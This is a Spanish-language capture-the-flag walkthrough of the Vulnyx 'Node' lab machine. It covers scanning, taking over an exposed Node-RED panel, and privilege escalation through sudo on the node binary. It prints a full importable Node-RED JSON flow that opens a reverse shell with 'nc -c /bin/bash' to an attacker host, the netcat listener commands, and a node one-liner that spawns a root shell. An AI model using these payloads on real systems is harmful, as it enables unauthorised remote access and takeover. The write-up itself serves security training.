Máquina Node (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutaremos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.46

Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.46

Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.46 -sVC

Como podemos comprobar la Máquina Victima tiene abierto el puerto 22, 80 y 1880.

Comprobamos que es lo que corre en el puerto 80.

A continuación, realizamos con la herramienta gobuster un fuzzing web, pero no encontramos nada.

Comprobamos que es lo que corre en el puerto 1880.

Accedemos directamente al panel de Node-Red, por lo tanto nos creamos una reverse shell, para ello primeramente creamos un nodo tcp in.

Seguimos y nos creamos un nodo exec.

Y para finalizar nos creamos un nodo tcp out.

Obteniendo el siguiente resultado:

También podemos seleccionar la opción de importar y pegar la siguiente reverse shell en JSON:

[
    {
        "id": "7235b2e6.4cdb9c",
        "type": "tab",
        "label": "revshell",
        "disabled": false,
        "info": ""
    },
    {
        "id": "83d26d4a935133ce",
        "type": "tcp in",
        "z": "7235b2e6.4cdb9c",
        "name": "",
        "server": "client",
        "host": "IP-Atacante",
        "port": "4443",
        "datamode": "stream",
        "datatype": "buffer",
        "newline": "",
        "topic": "",
        "trim": false,
        "base64": false,
        "tls": "",
        "x": 100,
        "y": 240,
        "wires": [
            [
                "6b03ad1ab408dabb"
            ]
        ]
    },
    {
        "id": "013ff020cd35b3c0",
        "type": "tcp out",
        "z": "7235b2e6.4cdb9c",
        "name": "",
        "host": "",
        "port": "",
        "beserver": "reply",
        "base64": false,
        "end": false,
        "tls": "",
        "x": 730,
        "y": 240,
        "wires": []
    },
    {
        "id": "6b03ad1ab408dabb",
        "type": "exec",
        "z": "7235b2e6.4cdb9c",
        "command": "nc -c /bin/bash IP-Atacante 4444",
        "addpay": "",
        "append": "",
        "useSpawn": "false",
        "timer": "",
        "winHide": false,
        "oldrc": false,
        "name": "",
        "x": 380,
        "y": 240,
        "wires": [
            [
                "013ff020cd35b3c0"
            ],
            [
                "013ff020cd35b3c0"
            ],
            [
                "013ff020cd35b3c0"
            ]
        ]
    }
]

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 4443 y por otra terminal por el puerto 4444 por donde vamos a recibir las conexiones, para ello ejecutamos los siguientes comandos:

$ nc -lvnp 4443
$ nc -lvnp 4444

Hacemos click en el botón Deploy.

Y recibimos la conexión por el puerto 4443, presionamos enter.

Y obtenemos una shell por el puerto 4444.

¡¡¡Somos dev!!!.

Hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario node que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u root /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'


¡¡¡Ya somos root!!!.

Ya podemos leer las flags de user root.